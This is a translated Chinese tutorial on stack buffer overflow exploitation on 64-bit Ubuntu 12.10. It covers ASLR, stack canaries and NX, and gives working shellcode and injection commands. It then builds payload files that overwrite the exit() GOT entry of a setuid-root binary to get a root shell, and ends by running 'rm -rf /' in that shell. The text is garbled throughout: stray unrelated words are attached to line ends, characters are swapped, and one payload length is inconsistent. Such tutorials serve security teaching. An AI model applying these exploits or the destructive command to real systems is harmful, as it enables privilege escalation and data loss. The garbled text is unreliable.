这个教程试着向读者展现最基本的栈溢出攻击和现代Linux发行版中针对这种攻击的防护机制。为此我选择了最新版本的Ubuntu系统(12.10),由于它默认集成了几个安全防护机制,并且它也是一个很是流行的发行版。安装和使用都很方便。咱们选择的系统是X86_64的。读者将会了解到栈溢出是怎样在那些默认没有安全防护机制的老系统上面成功的溢出的。并且还会解释在最新版本的Ubuntu上这些保护措施是如何工做的。我还会使用一个小例子来讲明若是不阻止一个栈上面的数据结构被溢出那么程序的执行路径就会失去控制 。linux
尽管本文中使用的攻击方式不像经典的栈溢出的攻击方式,而更像是对堆溢出或者格式化字符串漏洞的利用方式,尽管有各类保护机制的存在溢出仍是不可避免的存在。如今若是你还不懂这些,不要担忧,我会在下面的文章中详细的讲解。shell
关于不一样版本的ubuntu 系统中默认启用的安全控制机能够看这里:https://wiki.ubuntu.com/Security/Featuresubuntu
-----------------------------------小程序
$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gccwindows
Linux 3.5.0-19-generic x86_64数组
DISTRIB_DESCRIPTION="Ubuntu 12.10"安全
gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2bash
-----------------------------------cookie
首先让咱们回到从前,一切都很简单,向栈上面复制草率的复制数据很容易致使程序的执行彻底失控。能够看下面的例子(没有考了到许多保护机制).网络
-----------------------------------
$ cat oldskool.c
#include <string.h>
void go(char *data) {
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv) {
go(argv[1]);
}
-----------------------------------
在测试以前,咱们须要禁用系统的 ASLR ,你能够这么来作:
-----------------------------------
$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout
-----------------------------------
在很老的机器上面也许还不存在这个包含机制。为了同时禁用掉其余的保护(主要是编译器生成的运行时栈检测代码) 咱们能够这样来编译咱们的例子:
$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g
下面来看看这个示例程序,咱们能够看到 咱们在函数中在栈上面分配了64字节的缓冲区,而后把命令行的第一个参数复制到这个缓冲区里面。程序没有检测第一个参数的长度是否是大于64字节就直接调用strcpy 来复制数据了,众所周知,这样会致使栈溢出。 如今为了获得程序控制权限,咱们须要知道这样一个事实,就是任意一个C函数在进入一个函数以前,都会把它即将执行的下一条指令的地址压到栈中(也就是call指令作的事情 把call的下一条指令压栈,这样函数就知道要返回哪一个地址继续执行了)。咱们把这个地址叫作函数返回地址或者叫 “已保存的指令的指针”。在咱们的例子里面 返回地址就是咱们在执行完咱们的 go()函数后下一步要执行的那条指令的地址。这个地址就仅挨着咱们的 name[64] 这个缓冲区。由于栈的工做方式(译者注:也就是栈是向低地址衍生的,也就是说最后进栈的保存在栈最低的地址处),若是用户的数据超过了缓冲区的长度,那么输入的数据就会覆盖掉函数的返回地址(译者注:由于往缓冲区里面写数据是从低地址向高地址写,因此当写完函数分配缓冲区,下面的4个字节就是函数的返回地址了)。函数返回的时候就会跳到错误的地址处去执行,一个攻击者就能经过把他们要执行的机器码复制到一个缓冲区中,而后把返回地址指向那个缓冲区来劫持程序的执行流程。而后攻击者就能够随意的让程序作一些他们想作的事情,也许是由于好玩也行是为了利益。废话很少说,让我来给大家演示下吧 若是你看不懂下面使用的命令,你能够在 http://beej.us/guide/bggdb/ 看一下GDB 的使用教程。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040053d <+0>: push %rbp
0x000000000040053e <+1>: mov %rsp,%rbp
0x0000000000400541 <+4>: sub $0x10,%rsp
0x0000000000400545 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400548 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040054c <+15>: mov -0x10(%rbp),%rax
0x0000000000400550 <+19>: add $0x8,%rax
0x0000000000400554 <+23>: mov (%rax),%rax
0x0000000000400557 <+26>: mov %rax,%rdi
0x000000000040055a <+29>: callq 0x40051c
0x000000000040055f <+34>: leaveq
0x0000000000400560 <+35>: retq
End of assembler dump.
(gdb) break *0x40055a
Breakpoint 1 at 0x40055a: file oldskool.c, line 11.
(gdb) run myname
Starting program: /home/me/.hax/vuln/oldskool myname
Breakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)
11 go(argv[1]);
(gdb) x/i $rip
=> 0x40055a : callq 0x40051c
(gdb) i r rsp
rsp 0x7fffffffe0d0 0x7fffffffe0d0
(gdb) si
go (data=0xc2 ) at oldskool.c:4
4 void go(char *data) {
(gdb) i r rsp
rsp 0x7fffffffe0c8 0x7fffffffe0c8
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
-----------------------------------
咱们在调用go函数以前设置了一个断点, 在 0x000000000040055a <+29>.而后咱们使用参数 myname 来执行咱们的程序, 而后程序在进入go函数的时候停了下来. 而后咱们经过命令si来执行一条指令。而后看下栈指针 rsp (由于是64位的系统嘛),能够看出rsp的值就是 call go 的下一条指令的地址 0x000000000040055f <+34>。这些就是咱们上面所讲的。
下面的输出显示当go函数调用结束的时候,会执行 retq 这个指令,这个指令会将函数的返回地址弹出栈,而后跳到这个地址去执行而无论这个地址指向哪里 。
-----------------------------------
(gdb) disas go
Dump of assembler code for function go:
=> 0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x50,%rsp
0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp)
0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx
0x000000000040052c <+16>: lea -0x40(%rbp),%rax
0x0000000000400530 <+20>: mov %rdx,%rsi
0x0000000000400533 <+23>: mov %rax,%rdi
0x0000000000400536 <+26>: callq 0x4003f0
0x000000000040053b <+31>: leaveq
0x000000000040053c <+32>: retq
End of assembler dump.
(gdb) break *0x40053c
Breakpoint 2 at 0x40053c: file oldskool.c, line 8.
(gdb) continue
Continuing.
Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")
8 }
(gdb) x/i $rip (gdb x命令用于查看内存的数据)
=> 0x40053c : retq
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
(gdb) si
main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12
12 }
(gdb) x/gx $rsp
0x7fffffffe0d0: 0x00007fffffffe1c8
(gdb) x/i $rip
=> 0x40055f : leaveq
(gdb) quit
-----------------------------------
咱们在go函数即将返回的地方下一个断点而后继续执行。程序会在执行retq指令的地方停下来。咱们能够看到栈寄存器rsp仍是指向main函数内部那个即将在go函数后面执行的指令。等retq 执行完了,咱们能够看出程序当即把返回地址弹出栈让跳过去执行了。如今咱们要去覆盖这个返回地址使用perl来提供多于64个字节的数据 。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x80'`
Program received signal SIGSEGV, Segmentation fault.
0x000000000040059c in go (data=0x7fffffffe49a 'A' )
12 }
(gdb) x/i $rip
=> 0x40059c : retq
(gdb) x/gx $rsp
0x7fffffffe0a8: 0x4141414141414141
-----------------------------------
咱们使用prel在命令行中打印出80个"A",而后把它做为参数传递给咱们的实例程序。咱们能够看出当程序执行完retq指令的时候崩溃了。由于程序试图跳到的返回地址被字符“A"(0x41) 填充了。主要咱们必需要写入80个字节(64+8+8)由于指针在64位机器上面是8个字节的,为何要加两个8呢 由于在咱们的缓冲区和返回地址之间还保存着一个指针 有木有注意到go函数的第一条指令 push ebp ?! 好了,那么如今咱们能够作到把程序的执行路径重定向到任意的位置 而后执行咱们的命令了吗 ?若是咱们把咱们的指令放到name[]这个数组中,而后把函数的返回地址覆盖成数组的起始地址,程序就会执行咱们的指令(或者说是传说中的shellcode),咱们须要知道name[]数组的地址而后才能知道须要把返回地址覆盖成什么值。在本文中我不会教你们若是建立一个shellcode 由于这个有点超出本文的范围了。可是我仍是会给你提供一个在屏幕上打印一个消息的shellcode 。咱们能够这样来获得name数组的地址。
-----------------------------------
(gdb) p &name
$2 = (char (*)[32]) 0x7fffffffe0a0
-----------------------------------
咱们可使用perl来在命令行上打印不可打印的字符,经过使用对应的16进制来转义,就像这样"\x41"。因为机器上面存储整数和指针是使用小端(little-endian)的,因此咱们须要将字节的顺便反过来。所以咱们要去覆盖返回地址的值就是 "\xa0\xe0\xff\xff\xff\x7f"
下面就是会在屏幕上打印出咱们的消息而后退出的shellcode:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21"
这些只是要执行的指令的机器码形式,这样转义后,他们就可使用perl来打印了。由于shellcode 的长度是45字节,可是咱们须要72个字节才能覆盖掉SIP。因此须要再加上27个字节。好了 下面就是咱们要使用的字符串:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"
当程序执行完go() 这个函数的时候就会跳到0x7fffffffe0a0去执行。而这个地址正是name[]数组的地址,此时name[]数组里面已经被填充上咱们的shellcode了。不出意外的话,程序就会执行咱们的shellcode而后打印出消息 ,而后退出,好了 如今咱们来试一试(注意执行前 清除掉全部的断点 (译者注:若是你在调试器里面执行的话)):
-----------------------------------
$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48
\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c
\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0
\xff\xff\xff\x7f"'`
Hax!$
-----------------------------------
能够看到,咱们shellcode 被执行了,程序打印出消息而后退出了。
欢迎来到2012年,上面的例子在层层保护之下已经不能工做了。如今在咱们的Ubuntu机器上面使用了不少不一样的保护措施。这种形式的利用方式甚至已经不存在了。固然栈中仍是会发生溢出,也仍是有新的方法来利用它。这就是我下面一节要介绍的。可是首先仍是让咱们来了解下各类保护机制吧。
4.1 堆栈保护
在上面的例子里面咱们使用-fno-stack-protector 标识来告诉gcc 咱们不想启用堆栈保护。若是咱们把这个选项和前面加的其余选项都去掉呢 ?注意此时ASLR也被打开了,全部的东西都变成默认了。
$ gcc oldskool.c -o oldskool -g
咱们先看看生成的二进制代码,看看有什么变化。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas go
Dump of assembler code for function go:
0x000000000040058c <+0>: push %rbp
0x000000000040058d <+1>: mov %rsp,%rbp
0x0000000000400590 <+4>: sub $0x60,%rsp
0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp)
0x0000000000400598 <+12>: mov %fs:0x28,%rax
0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp)
0x00000000004005a5 <+25>: xor %eax,%eax
0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx
0x00000000004005ab <+31>: lea -0x50(%rbp),%rax
0x00000000004005af <+35>: mov %rdx,%rsi
0x00000000004005b2 <+38>: mov %rax,%rdi
0x00000000004005b5 <+41>: callq 0x400450
0x00000000004005ba <+46>: mov -0x8(%rbp),%rax
0x00000000004005be <+50>: xor %fs:0x28,%rax
0x00000000004005c7 <+59>: je 0x4005ce
0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt>
0x00000000004005ce <+66>: leaveq
0x00000000004005cf <+67>: retq
End of assembler dump.
-----------------------------------
若是咱们观察go+12 和 go+21,能够看到一个值被从$fs+0x28 或者%fs:0x28。这个地址指向的值并不重要,如今我只告诉你:fs 指向的结构是供内核使用的(为内核保留的),咱们不能使用gdb 来查看fs 的值。可是咱们只须要知道这个地方包含了一个随机的值,已经被证实咱们是不能提早预测这个值的。
-----------------------------------
(gdb) break *0x0000000000400598
Breakpoint 1 at 0x400598: file oldskool.c, line 4.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) x/i $rip
=> 0x400598 : mov %fs:0x28,%rax
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x110279462f20d0001225675390943547392
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x21f95d1abb2a0800 2448090241843202048
-----------------------------------
咱们在将那个值从 $fs+0x28移到rax的指令处下断点,而后执行这条指令,查看rax的值,重复这个过程咱们能够清楚的看到这个值每次运行都会变化,因此这是个每次程序运行都会改变的值。也就是说攻击者不能提早知道这个值。可是这个值是怎么用来保护栈的呢?若是咱们看 go+21 处 ,能够看出这个值被拷贝到 -0x8(%rbp) 处。能够看出这个值刚好在函数的局部变量和函数的返回地址之间。这个值被叫作”金丝雀”,也就是矿工用来提醒他们瓦斯泄露的。由于金丝雀对瓦斯比较忙敏感,会比人先死去。类比下,当发生缓冲区溢出的时候,这个值会比函数的返回地址先被覆盖。若是咱们看下 go+46 和 go+50 的地方,能够看出这个值被从堆栈里面读出来。而后和原来的值作对比,若是他们是同样的那么就说明值没有改变,也就是说函数的返回地址也没被改变,而后就运行函数正常的退出了。可是若是这个值改变了,就说明发送了栈溢出,保存的函数返回地址有可能被改写了。因而函数就会执行__stack_chk_fail函数,这个函数会抛出一个错误,而后让进程退出。就像下面你看到的同样:
-----------------------------------
$ ./oldskool `perl -e 'print "A"x80'`
*** stack smashing detected ***: ./oldskool terminated
Aborted (core dumped)
-----------------------------------
让咱们来回顾下整个过程,缓冲区被溢出了,数据被复制到缓冲区外面而且覆盖掉了那个“金丝雀”值(译者注: windows 上面也有相似的机制,不过在windows上这个值叫作安全cookies )同时也覆盖掉了函数的返回地址。可是,悲剧的是在函数就要返回到那个被改写的地址继续执行的时候,函数检查了下那个金丝雀值是否是被改写了。因而函数没有返回而是执行另一个函数安全的让进程退出了。如今坏消息来了,对于一个攻击者并无一个很好的方式来绕过这个检测。你可能会想到暴力猜解那个金丝雀值。可是这个值每次都不一样,除非你很是的幸运被你猜到了 (译者注:几率:1/2^32),并且这样作也是费时并且容易被发现的。可是还有好消息,那就是在不少的状况下这个并不能阻止溢出攻击。举例来讲,栈里面的金丝雀值只是保护SIP不被非法的改写,可是它不能阻止函数的局部变量被改写。这就很容易致使下一步的溢出,这会在下面的文章里演示。上面讲的保护机制有效的阻止咱们老的攻击方式的攻击,可是立刻这种保护机制就会失效。
4.2 NX:不可执行内存
你可能注意到咱们不只仅去掉了-fno-stack-protector这个标识,同时也去掉了-zexecstack标识,(也就是容许执行栈中的代码)现代的操做系统是不容许这种状况发生的,系统把须要写入数据的内存标识为可行,把保存指令的内存标识为可执行,可是不会有一块内存被同时标识为可写和可执行的。所以咱们既不能在可执行的内存区域写入咱们的shellcode 也不能在可写入的地方执行咱们的shellcode (译者注:哈哈 系统的保护错误很变态吧 原本内存就只要可读 或者 可写属性 后来加入的 可执行 属性大大加强了系统的安全性)。咱们须要另外的一种方式来让欺骗程序执行咱们的代码,答案就是ROP(Return-Oriented Programming),这个技巧就是使用程序中已经有的代码片断,也就是位于可执行文件的.text节里面代码,使用一种方式将这些代码片断链到一块儿使他们看来就像咱们之前的shellcode。关于此,我不会深刻的讲解,可是我会在文件的结尾给你们一个例子。仍是让我先展现下若是程序若是执行堆栈里的代码会发送的状况(确定是执行失败了)。
-----------------------------------
$ cat nx.c
int main(int argc, char **argv) {
char shellcode[] =
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff"
"\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48"
"\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21";
void (*func)() = (void *)shellcode;
func();
}
$ gcc nx.c -o nx -zexecstack
$ ./nx
Hax!$
$ gcc nx.c -o nx
$ ./nx
Segmentation fault (core dumped)
-----------------------------------
咱们把咱们要执行的代码放到了堆栈上的一个数组里,而后让一个函数指针指向这个数组,而后执行这个函数。当咱们编译的时候和以前同样带上 –zexecstack,咱们的shellcode 就会执行,可是若是不带上这个选项,栈空间就会被标识为不可执行的,程序也就会随着一个段错误而执行失败。
4.3 ASLR:地址空间随机化
咱们为了演示那个经典的溢出攻击,作的最后一件事就是关掉 ASLR,经过在root下执行echo "0" > /proc/sys/kernel/randomize_va_space 。ASLR能够确保每次程序被加载的时候,他本身和他所加载的库文件都会被映射到虚拟地址空的不一样地址处。这就意味着咱们不能使用咱们本身在gdb里面调试时的地址了。由于这个程序在运行的时候这个地址有可能变成另一个。要注意当你调试一个程序的时候 gdb 会关掉ASLR。可是咱们能够在调试的时候打开这个选项,以便咱们能够更真实的看到程序执行时发送的一切,具体看下面的演示
(输出的过长字符串在右边截断了,左边显示的地址信息才是最重要的):
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) set disable-randomization off
(gdb) break main
Breakpoint 1 at 0x4005df: file oldskool.c, line 11.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, main (argc=1, argv=0x7fffe22fe188) at oldskool.c:11
11 go(argv[1]);
(gdb) i proc map
process 6988
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln
0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln
0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln
0x7f0e120ef000 0x7f0e122a4000 0x1b5000 0x0 /lib/x86_64-linux-
0x7f0e122a4000 0x7f0e124a3000 0x1ff000 0x1b5000 /lib/x86_64-linux-
0x7f0e124a3000 0x7f0e124a7000 0x4000 0x1b4000 /lib/x86_64-linux-
0x7f0e124a7000 0x7f0e124a9000 0x2000 0x1b8000 /lib/x86_64-linux-
0x7f0e124a9000 0x7f0e124ae000 0x5000 0x0
0x7f0e124ae000 0x7f0e124d0000 0x22000 0x0 /lib/x86_64-linux-
0x7f0e126ae000 0x7f0e126b1000 0x3000 0x0
0x7f0e126ce000 0x7f0e126d0000 0x2000 0x0
0x7f0e126d0000 0x7f0e126d1000 0x1000 0x22000 /lib/x86_64-linux-
0x7f0e126d1000 0x7f0e126d3000 0x2000 0x23000 /lib/x86_64-linux-
0x7fffe22df000 0x7fffe2300000 0x21000 0x0 [stack]
0x7fffe23c2000 0x7fffe23c3000 0x1000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, main (argc=1, argv=0x7fff7e16cfd8) at oldskool.c:11
11 go(argv[1]);
(gdb) i proc map
process 6991
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln
0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln
0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln
0x7fdbb2753000 0x7fdbb2908000 0x1b5000 0x0 /lib/x86_64-linux-
0x7fdbb2908000 0x7fdbb2b07000 0x1ff000 0x1b5000 /lib/x86_64-linux-
0x7fdbb2b07000 0x7fdbb2b0b000 0x4000 0x1b4000 /lib/x86_64-linux-
0x7fdbb2b0b000 0x7fdbb2b0d000 0x2000 0x1b8000 /lib/x86_64-linux-
0x7fdbb2b0d000 0x7fdbb2b12000 0x5000 0x0
0x7fdbb2b12000 0x7fdbb2b34000 0x22000 0x0 /lib/x86_64-linux-
0x7fdbb2d12000 0x7fdbb2d15000 0x3000 0x0
0x7fdbb2d32000 0x7fdbb2d34000 0x2000 0x0
0x7fdbb2d34000 0x7fdbb2d35000 0x1000 0x22000 /lib/x86_64-linux-
0x7fdbb2d35000 0x7fdbb2d37000 0x2000 0x23000 /lib/x86_64-linux-
0x7fff7e14d000 0x7fff7e16e000 0x21000 0x0 [stack]
0x7fff7e1bd000 0x7fff7e1be000 0x1000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
-----------------------------------
咱们把"disable-randomization"设置成 “off” 。咱们两次运行了程序而后查看进程的模块在内存中映射的地址。咱们发现他们中的大部分的地址都是不一样的。可是并非每个模块都这样,这就是在ASLR被开启的状况下,漏洞仍然能够利用成功的关键缘由。
虽然有这么多的保护措施,可是仍是有溢出漏洞,并且有时咱们能够成功的利用这些漏洞。我已经向大家演示栈中的金丝雀能够保护程序在溢出的状况下不跳到恶意的SIP去执行。可是这只金丝雀仅仅被放到了SIP的前面而不是在栈中的局部变量里面。因此咱们可使用第一个例子里面覆盖SIP(也就是函数返回地址 函数返回的时候SIP就会被赋予这个值)的那种方法来覆盖函数的局部变量。而这个会致使许多不一样的问题,在一些状况下,咱们覆盖了一个函数指针,这个指针会在将来某一个时刻被执行。也有可能咱们覆盖了一个指针,这个指针指向的内存会在将来被写入用户数据,因而攻击者就能够在任意的位置写入数据了。相似的情形常常会被成功的利用而获得进程的控制权。下面的代码就演示了这样的一个漏洞:
-----------------------------------
$ cat stackvuln.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX_SIZE 48
#define BUF_SIZE 64
char data1[BUF_SIZE], data2[BUF_SIZE];
struct item {
char data[MAX_SIZE];
void *next;
};
int go(void) {
struct item item1, item2;
item1.next = &item2;
item2.next = &item1;
memcpy(item1.data, data1, BUF_SIZE); // Whoops, did we mean MAX_SIZE?
memcpy(item1.next, data2, MAX_SIZE); // Yes, yes we did.
exit(-1); // Exit in shame.
}
void hax(void) {
execl("/bin/bash", "/bin/bash", "-p", NULL);
}
void readfile(char *filename, char *buffer, int len) {
FILE *fp;
fp = fopen(filename, "r");
if (fp != NULL) {
fread(buffer, 1, len, fp);
fclose(fp);
}
}
int main(int argc, char **argv) {
readfile("data1.dat", data1, BUF_SIZE);
readfile("data2.dat", data2, BUF_SIZE);
go();
}
$ gcc stackvuln.c -o stackvuln
$ sudo chown root:root stackvuln
$ sudo chmod +s ./stackvuln
-----------------------------------
为了演示我加入了一个 hax() 函数,很明显这个就是咱们要把进程的执行路径改写到的位置。一开始我想加入一个例子来使用ROP链来执行一个函数 像是 system 可是由于两个理由我决定不这么作了,第一就是这样有点超出本文的范围了,这对初学者来讲还太难。第二就是在这个小程序里面找到合适的函数实在太难。使用这个函数(hax())是由于:因为NX,咱们不能将咱们本身的shellcode压到栈里面而后执行它,可是咱们能够重用在程序中已有的代码(能够是一个函数,也能够是一个ROP链起来的一连串指令)。若是你关心若是使用ROP你能够谷歌 “ROP exploitation”。
咱们程序的溢出发生在go()函数。它建立了一个两个struct item类元素的循环链表。第一次拷贝实际上向结构里面复制了过多的字节,这就运行咱们覆盖掉第二次调memcpy使用的next指针,因此若是咱们可以选择性的覆盖掉next指针咱们就能让第二次复制的时候将数据写到咱们但愿的地方。除此以外咱们还控制了data1和data2,由于这两个缓冲区的内容都是从文件中读取的。固然这些数据也可能从网络或者其余的一些输入,我选择文件是由于它让咱们很容易改变playload (shellcode 的载体)来作演示。如今咱们能够向任意咱们想要的地方写入48字节了,可是咱们怎样经过这个来得到程序的控制权?
咱们即将使用一个叫作 GOT/PLT 的结构。我会立刻解释下它是什么,可是若是你须要的更多的了解,你能够google下。 .got.plt 是一个地址表,城市使用它来跟踪库中的函数,我前面已经说过ASLR确保每个动态连接库文件每一次在程序加载的时候都会被映射到不一样的基址上面。因此程序就不能使用静态的绝对地址来应用库文件中的函数。程序使用了一个代理(stub)去计算函数真实的地址,并把它存放到一个表里面。因此每当函数须要被调用的时候,就须要使用到.got.plt表里面存放的地址。
咱们利用这一点来改写这个地址,这样下一次程序须要调用那个函数的时候,函数的调用就会被转移到咱们代码上面,就像前面咱们改写函数的返回地址来转义程序的执行目标。若是咱们观察下咱们的例子,会发如今调用完memcpy 以后紧接着就调用了函数exit() 。若是咱们能够改写.got.plt表里面exit()函数的那一项,那么当函数去调用exit()函数的时候就会跳去执行咱们代码而不是libc 中的 exit() 。咱们使用那一个地址去覆盖呢?你猜对了,就是函数hax()的地址。首先,仍是让我为你演示下.got.plt表在调用exit()函数的时候是若是起做用的。
-----------------------------------
$ cat exit.c
#include <stdlib.h>
int main(int argc, char **argv) {
exit(0);
}
$ gcc exit.c -o exit -g
$ gdb -q ./exit
Reading symbols from /home/me/.hax/plt/exit...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x10,%rsp
0x0000000000400524 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400527 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040052b <+15>: mov $0x0,%edi
0x0000000000400530 <+20>: callq 0x400400
End of assembler dump.
(gdb) x/i 0x400400
0x400400 : jmpq *0x200c1a(%rip) # 0x601020
(gdb) x/gx 0x601020
0x601020 : 0x0000000000400406
-----------------------------------
能够看出在main+20的地方,应该是调用libc 里面的exit ,可是却调用0x400400,这个地方就是exit函数的代理,它就会定位到0x601020这个地址而后从中读取函数的地址去执行,此时这个地址仍是在got.plt 里。当加载libc 的时候这个地方就会被填充上exit真实的地址。而咱们就是要覆盖掉这个地址为咱们本身 函数的入口地址。为了让咱们的例子能够正常的工做,咱们必须定位到.got.plt 中exit函数的地址,而后覆盖掉这个结构中的指针,咱们须要向data2这个缓冲区中写入hax()函数的指针,首先覆盖掉item1.next 这个指针,让它指向 .got.plt 中exit的入口,而后使用hax()的地址来覆盖掉此处exit()函数的地址。而后调用exit的时候,其实是调用了咱们的函数hax()。而后咱们就会获得一个系统的root shell,可是有一点要注意,以及 execl 函数恰好被定位在exit 函数的后面,而咱们的memcpy函数须要复制 48 个字节,因此咱们须要保证 execl的地址不被改写。
-----------------------------------
(gdb) mai i sect .got.plt
Exec file:
`/tmp/stackvuln/stackvuln', file type elf64-x86-64.
0x00601000->0x00601050 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
(gdb) x/10gx 0x601000
0x601000: 0x0000000000600e28 0x0000000000000000
0x601010: 0x0000000000000000 0x0000000000400526
0x601020 < fclose@got.plt>: 0x0000000000400536 0x0000000000400546
0x601030 < memcpy@got.plt>: 0x0000000000400556 0x0000000000400566
0x601040 < exit@got.plt>: 0x0000000000400576 0x0000000000400586
(gdb) p hax
$1 = {< text variable, no debug info >} 0x40073b
-----------------------------------
好了能够看出 exit 函数的入口在 0x601040 ,而hax()是在0x40073b,下面让咱们来构造咱们的playload。
-----------------------------------
$ hexdump data1.dat -vC
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000030 40 10 60 00 00 00 00 00 |@.`.....|
00000038
$ hexdump data2.dat -vC
00000000 3b 07 40 00 00 00 00 00 86 05 40 00 00 00 00 00 |;.@.......@.....|
00000010
-----------------------------------
在第一次调用中,咱们使用48个字节的无用数据而后使用.got.plt表入口的地址来覆盖掉next指针。记住因为咱们是在小端机器上面,因此地址的字节顺序是反着的。第二个文件包含了函数 hax() 的指针,也就是要被写到 .got.plt 表中的 exit 入口的地址。第二个地址是execl()函数的入口,第二个地址是execl的,这个是咱们构造的正确的地址 只是为了让这个函数能够正常的调用。当exit 被调用的时候,实际调用的是咱们 hax() 函数的地址,也就是说这个时候hax() 函数被执行了。
-----------------------------------
$ ./stackvuln
bash-4.2# whoami
root
bash-4.2# rm -rf /